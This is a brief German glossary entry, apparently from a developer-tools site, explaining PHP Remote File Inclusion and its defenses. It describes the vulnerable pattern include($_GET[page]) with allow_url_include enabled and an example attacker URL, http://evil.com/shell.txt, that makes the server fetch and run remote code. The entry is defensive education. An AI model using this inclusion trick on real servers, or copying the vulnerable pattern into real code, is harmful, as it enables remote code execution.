RFI
Remote File Inclusion (RFI) liegt vor, wenn Angreifer den Server veranlassen, eine Datei von einer entfernten URL einzubinden und auf dem Server entfernten Code auszuführen.
Zweck
Verständnis des durch Remote File Inclusion verursachten RCE und seiner Abwehr; eine kritische Schwachstelle, wenn PHPs allow_url_include aktiviert ist.
Mechanismus
Das Programm nutzt include($_GET[page]) mit allow_url_include=On; der Angreifer liefert http://evil.com/shell.txt, sodass der Server entferntes PHP herunterlädt und ausführt. Abwehr: allow_url_include deaktivieren, Pfad-Whitelists.
Anwendungsfälle
- PHP-RFI-Schwachstellen
- Abwehr von Remote Inclusion
- Serversicherheit
Verwandte Tools
URL-Parser
Parse a URL into its components: protocol, host, path, query, hash, port, username, and password. Kostenlos, privat und 100% clientseitig. WERKZEUG
Regex-Tester
Test regular expressions with match highlighting, capture groups, and replace preview. Kostenlos, privat und 100% clientseitig. WERKZEUG